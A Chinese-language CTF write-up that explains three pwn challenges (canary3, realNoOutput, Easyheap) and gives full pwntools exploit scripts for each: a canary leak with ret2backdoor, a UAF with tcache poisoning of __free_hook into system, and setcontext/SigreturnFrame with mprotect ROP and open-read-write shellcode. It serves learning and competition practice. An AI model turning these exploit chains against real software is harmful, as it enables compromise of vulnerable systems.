canary3
看了wp才知道这个程序在干嘛。。。
先对输入进行一个md5加密
输入经加密得到的密文与程序的密文用strcmp比较,通过则继续程序

这里如果输入了0x20个字节,会造成一个null字节的溢出
用来比较的密文的第一个字节被覆盖为'\x00'
所以如果能够让输入被加密后开头也是'\x00',就能绕过strcmp
而gB经MD5加密后就会得到00
后续就是简单了,两次溢出分别拿到canary和程序基址,然后栈溢出返回到后门即可。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import* context(os='linux', arch='amd64', log_level='debug') r = process('./canary3') elf = ELF('./canary3') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r.send('admin\x00') r.send('gB'.ljust(0x20, '\x00')) r.recvuntil('canary?') r.sendline('2')
r.send('a'*(0x20-0x8)+'a') r.sendline('1') r.recvuntil('a'*0x19) canary = u64(r.recv(7).ljust(8, '\x00'))<<8 print hex(canary) r.sendline('2') payload = 'a'*0x20 r.send(payload) r.sendline('1') r.recvuntil('a'*0x20) data = u64(r.recv(6).ljust(8, '\x00')) print hex(data) back = (data&0xfffffffff000)+0x39f print hex(back) r.sendline('2') r.send('a'*(0x20-0x8)+p64(canary)+'a'*0x8+p64(ba)) r.sendline('3')
r.interactive()
|
realNoOutput
这题在看了wp后才明白,学到了一种新的造成uaf的方式
题目
开头有段汇编没有识别出了,修复后是常规的setbuf,并保存了一个堆地址
add

分配了8个堆指针和大小存储用的空间

然而一共可以malloc10个chunk(0~9)
于是申请第8个chunk时,size写在第0个chunk的指针处
delete

delete时会把指针free了并置0,但是不会清除原来的size
而当free的对象不是指针也不是0时,程序仅仅只是不进入if语句中对ptr赋值,但仍然会free(ptr),而这里的ptr实际上是栈上残留下来的指针,对应上一次delete的指针
edit

函数sub_12B3将指针与一开始申请的一个堆指针进行比较,地址大于它才能进行写入,也就是禁止了对got表的劫持和对tcache结构体的劫持
show
puts打印堆块内容
思路
结合add中第八个chunk的size会写到第一个chunk的指针处绕过delete中的判断,利用delete中第二次不满足条件时仍然delete上一次残留的指针来构造出uaf,布置后先将该chunk放到unsorted bin中泄露libc
第二次改tcache的fd打freehook就好了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import* context(os='linux', arch='amd64', log_level='debug') r = process('./realNoOutput') elf = ELF('./realNoOutput') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
cmd1 = lambda x : r.sendline(str(x)) cmd2 = lambda x : r.send(x)
T = 0.1 def add(idx, size, content='aaaa'): cmd1(1) sleep(T) cmd1(idx) sleep(T) cmd1(size) sleep(T) cmd2(content) sleep(T)
def delete(idx): cmd1(2) sleep(T) cmd1(idx) sleep(T)
def edit(idx, content): cmd1(3) sleep(T) cmd1(idx) sleep(T) cmd2(content)
def show(idx): cmd1(4) sleep(T) cmd1(idx) sleep(T)
for i in range(8): add(i, 0x100)
for i in range(7): delete(i)
add(8, 0x100) delete(0) add(6, 0x100) delete(7) delete(6)
show(8) data = u64(r.recv(6).ljust(8, b'\x00')) print (hex(data)) libc.address = data-96-0x10-libc.symbols['__malloc_hook'] free_hook = libc.symbols['__free_hook'] sys_addr = libc.symbols['system']
for i in range(8): add(i, 0x100)
delete(0) delete(8) edit(7, p64(free_hook))
add(0, 0x100) add(1, 0x100) edit(0, "/bin/sh") edit(1, p64(sys_addr))
delete(0)
r.interactive()
|
Easyheap
题目
程序开了沙箱同时也开了NX
需要利用到setcontext绕过seccomp
创建时利用strdup函数,该函数会malloc相应字符串大小的空间,然后把字符串内容赋值到堆上。而编辑时能够输入的大小是由手动输入的size确定的,这里就造成了堆溢出。
除此之外没有程序问题。
分析
直接利用堆溢出覆盖掉unsorted bin的chunk头,通过show就能够泄露libc了
环境是2.27的,可以直接利用tcache拿到freehook地址
接下来就要用到setcontext设置上下文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| pwndbg> disass setcontext Dump of assembler code for function setcontext: 0x00007ffff7a34180 <+0>: push rdi 0x00007ffff7a34181 <+1>: lea rsi,[rdi+0x128] 0x00007ffff7a34188 <+8>: xor edx,edx 0x00007ffff7a3418a <+10>: mov edi,0x2 0x00007ffff7a3418f <+15>: mov r10d,0x8 0x00007ffff7a34195 <+21>: mov eax,0xe 0x00007ffff7a3419a <+26>: syscall 0x00007ffff7a3419c <+28>: pop rdi 0x00007ffff7a3419d <+29>: cmp rax,0xfffffffffffff001 0x00007ffff7a341a3 <+35>: jae 0x7ffff7a34200 <setcontext+128> 0x00007ffff7a341a5 <+37>: mov rcx,QWORD PTR [rdi+0xe0] 0x00007ffff7a341ac <+44>: fldenv [rcx] 0x00007ffff7a341ae <+46>: ldmxcsr DWORD PTR [rdi+0x1c0] 0x00007ffff7a341b5 <+53>: mov rsp,QWORD PTR [rdi+0xa0] 0x00007ffff7a341bc <+60>: mov rbx,QWORD PTR [rdi+0x80] 0x00007ffff7a341c3 <+67>: mov rbp,QWORD PTR [rdi+0x78] 0x00007ffff7a341c7 <+71>: mov r12,QWORD PTR [rdi+0x48] 0x00007ffff7a341cb <+75>: mov r13,QWORD PTR [rdi+0x50] 0x00007ffff7a341cf <+79>: mov r14,QWORD PTR [rdi+0x58] 0x00007ffff7a341d3 <+83>: mov r15,QWORD PTR [rdi+0x60] 0x00007ffff7a341d7 <+87>: mov rcx,QWORD PTR [rdi+0xa8] 0x00007ffff7a341de <+94>: push rcx 0x00007ffff7a341df <+95>: mov rsi,QWORD PTR [rdi+0x70] 0x00007ffff7a341e3 <+99>: mov rdx,QWORD PTR [rdi+0x88] 0x00007ffff7a341ea <+106>: mov rcx,QWORD PTR [rdi+0x98] 0x00007ffff7a341f1 <+113>: mov r8,QWORD PTR [rdi+0x28] 0x00007ffff7a341f5 <+117>: mov r9,QWORD PTR [rdi+0x30] 0x00007ffff7a341f9 <+121>: mov rdi,QWORD PTR [rdi+0x68] 0x00007ffff7a341fd <+125>: xor eax,eax 0x00007ffff7a341ff <+127>: ret 0x00007ffff7a34200 <+128>: mov rcx,QWORD PTR [rip+0x398c61] # 0x7ffff7dcce68 0x00007ffff7a34207 <+135>: neg eax 0x00007ffff7a34209 <+137>: mov DWORD PTR fs:[rcx],eax 0x00007ffff7a3420c <+140>: or rax,0xffffffffffffffff 0x00007ffff7a34210 <+144>: ret End of assembler dump.
|
freehook写入setcontext+53,用这个地址是因为前面setcontext+44处的指令fldenv [rcx]会导致程序直接crash
申请一个堆来存放frame,用SigreturnFrame可以方便地构造ucontext_结构体。这样一来delete这个堆时,其指针会放到rdi中,然后进入setcontext+53执行指令时就能直接对应寄存器赋值
这里我们把frame设置为
1 2 3 4 5 6 7 8
| fake_rsp = free_hook&0xfffffffffffff000 frame = SigreturnFrame() frame.rax=0 frame.rdi=0 frame.rsi=fake_rsp frame.rdx=0x2000 frame.rsp=fake_rsp frame.rip=syscall
|
注意syscall实际上是syscall+23,syscall作为函数开头有些对寄存器的设置需要跳过,不然就白布置了
这样执行delete后就会执行read(0, fake_rsp, 0x200)
然后输入布置rop执行mrpotect(fake_rsp, 0x1000, 7),后面再跟上指令jmp rsp,然后再跟上orw的shellcode
这样rop结束后就会执行jmp rsp,而rsp正指向orw,从而继续执行orw
exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| from pwn import* context(os='linux', arch='amd64', log_level='debug') r = process('./Easyheap')
elf = ELF('./Easyheap') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
cmd1 = lambda x : r.sendlineafter(':', str(x)) cmd2 = lambda x : r.sendafter(':', x)
def add(size, content): cmd1(1) cmd1(size) cmd2(content)
def delete(idx): cmd1(2) cmd1(idx)
def show(idx): cmd1(3) cmd1(idx)
def edit(idx, content): cmd1(4) cmd1(idx) cmd2(content)
add(0x500, 'a'*0x10) add(0x500, 'a'*0x500) add(0x500, 'a'*0x10) add(0x500, 'a'*0x10) add(0x500, 'a'*0x10) add(0x500, '/bin/sh\x00')
delete(1) edit(0, 'b'*0x20) show(0) r.recvuntil('b'*0x20) data = u64(r.recv(6).ljust(8, '\x00')) print hex(data) libc.address = data-0x3ebca0 print 'libc_base ===> ', hex(libc.address) edit(0, 'b'*0x10+p64(0)+p64(0x511)) malloc_hook = libc.symbols['__malloc_hook'] free_hook = libc.symbols['__free_hook'] set_addr = libc.symbols['setcontext'] syscall = libc.symbols['syscall']+23
fake_rsp = free_hook&0xfffffffffffff000 frame = SigreturnFrame() frame.rax=0 frame.rdi=0 frame.rsi=fake_rsp frame.rdx=0x2000 frame.rsp=fake_rsp frame.rip=syscall
delete(3) edit(2, 'a'*0x10+p64(0)+p64(0x21)+p64(free_hook)) add(0x500, 'a'*0x10) add(0x500, 'a') add(0x500, 'a'*0x500) edit(3, p64(set_addr+53)) add(0x500, 'a'*0x100) edit(7, str(frame))
delete(7)
prdi_ret = libc.search(asm("pop rdi\nret")).next() prsi_ret = libc.search(asm("pop rsi\nret")).next() prdx_ret = libc.search(asm("pop rdx\nret")).next() prax_ret = libc.search(asm("pop rax\nret")).next() jmp_rsp = libc.search(asm("jmp rsp")).next() mprotect_addr = libc.sym['mprotect']
payload = p64(prdi_ret)+p64(fake_rsp) payload += p64(prsi_ret)+p64(0x1000) payload += p64(prdx_ret)+p64(7) payload += p64(prax_ret)+p64(10) payload += p64(syscall) payload += p64(jmp_rsp) payload += asm(shellcraft.open('flag')) payload += asm(shellcraft.read(3,fake_rsp+0x300,0x30)) payload += asm(shellcraft.write(1,fake_rsp+0x300,0x30)) r.send(payload)
r.interactive()
|
exp2
其实题目本身有mmap了一块rwx的区域,且地址固定,可以直接往这里写shellcode然后执行

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| from pwn import* context(os='linux', arch='amd64', log_level='debug') r = process('./Easyheap')
elf = ELF('./Easyheap') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
cmd1 = lambda x : r.sendlineafter(':', str(x)) cmd2 = lambda x : r.sendafter(':', x)
def add(size, content): cmd1(1) cmd1(size) cmd2(content)
def delete(idx): cmd1(2) cmd1(idx)
def show(idx): cmd1(3) cmd1(idx)
def edit(idx, content): cmd1(4) cmd1(idx) cmd2(content)
add(0x500, 'a'*0x10) add(0x500, 'a'*0x500) add(0x500, 'a'*0x10) add(0x500, 'a'*0x10) add(0x500, 'a'*0x20) add(0x500, '/bin/sh\x00')
delete(1) edit(0, 'b'*0x20) show(0) r.recvuntil('b'*0x20) data = u64(r.recv(6).ljust(8, '\x00')) print hex(data) libc.address = data-0x3ebca0 print 'libc_base ===> ', hex(libc.address) edit(0, 'b'*0x10+p64(0)+p64(0x511)) malloc_hook = libc.symbols['__malloc_hook'] free_hook = libc.symbols['__free_hook'] set_addr = libc.symbols['setcontext'] syscall = libc.symbols['syscall']+23
delete(3) edit(2, 'a'*0x10+p64(0)+p64(0x21)+p64(0x23330000)) add(0x500, 'a'*0x10) add(0x500, 'a'*0x10) shellcode = ''' push 0x67616c66 mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 2 syscall xor rax, rax mov rdi, 3 mov rsi, rbp mov rdx, 0x50 syscall mov rax, 1 mov rdi, 1 mov rsi, rbp mov rdx,0x50 syscall '''
edit(3, asm(shellcode)) delete(4) edit(1, 'b'*0x10+p64(0)+p64(0x31)+p64(free_hook)) add(0x500, 'a'*0x20) add(0x500, 'b'*0x20) edit(6, p64(0x23330000))
delete(6)
r.interactive()
|